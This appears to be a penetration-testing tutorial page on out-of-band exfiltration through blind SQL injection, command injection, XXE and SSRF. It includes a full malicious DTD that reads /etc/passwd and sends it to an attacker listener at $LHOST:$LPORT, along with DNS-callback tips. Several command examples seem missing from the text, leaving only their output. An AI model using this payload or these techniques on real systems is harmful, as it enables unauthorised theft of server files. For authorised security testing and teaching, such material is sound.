Out-of-Band Data Exfiltration
Out-of-band exfiltration retrieves data from vulnerabilities that produce no visible output in the HTTP response. Blind SQLi, blind command injection, blind XXE, and blind SSRF all require an external channel to receive exfiltrated content. The server makes a connection to an attacker-controlled listener carrying the data in a URL path, DNS query, or HTTP body.
HTTP Callback Listener
Set up a simple HTTP listener to receive callbacks. All techniques below send data as URL path segments or query parameters readable in the request log:
Serving HTTP on 0.0.0.0 port 4444
Blind Command Injection Exfiltration
Exfiltrate command output via HTTP when the injection does not return output in the response. Encode the output in the URL to handle special characters:
The base64 encoding handles newlines and special characters in file content that would break the URL. Decode the received path segment on Kali:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Blind SQLi Out-of-Band Exfiltration
MySQL can make outbound HTTP requests using the load_file function with a UNC path on Windows, or by triggering DNS queries. On Linux, use INTO OUTFILE to write data to a location readable via LFI if that path is available, or use the HTTP method:
For MySQL on Linux where UNC paths do not work, use a stacked query to write extracted data to a temp file that can be read back through the injection or LFI:
root@localhost
Blind XXE Out-of-Band Exfiltration
Host a malicious DTD that reads a local file and sends it to your HTTP listener in the URL. The target parses your DTD and makes an outbound HTTP request carrying the file content:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://$LHOST:$LPORT/?d=%file;'>">
%wrap;
%send;
root:x:0:0:root:/root:/bin/bash
DNS Exfiltration for Strict Egress Environments
When outbound HTTP is blocked but DNS is allowed, encode data in DNS queries. The target makes a DNS lookup carrying the data as a subdomain of your controlled domain:
Set up your domain's NS record to point to a server running a DNS logger. Interactsh provides a free out-of-band interaction server that captures both HTTP and DNS callbacks without needing your own domain:
[INF] Listing on: abc123.oast.fun [INF] Use this URL for OOB testing
Interactsh shows the subdomain that connected, which contains the exfiltrated data. This works for both HTTP and DNS callbacks without needing infrastructure of your own.
References
-
interactsh — ProjectDiscoverygithub.com/projectdiscovery/interactsh (opens in new tab)
Out-of-band interaction server for HTTP and DNS callback capture
-
PortSwigger — Blind XXEportswigger.net/web-security/xxe/blind (opens in new tab)
Out-of-band data exfiltration via DTD and HTTP callbacks
Was this helpful?
Your feedback helps improve this page.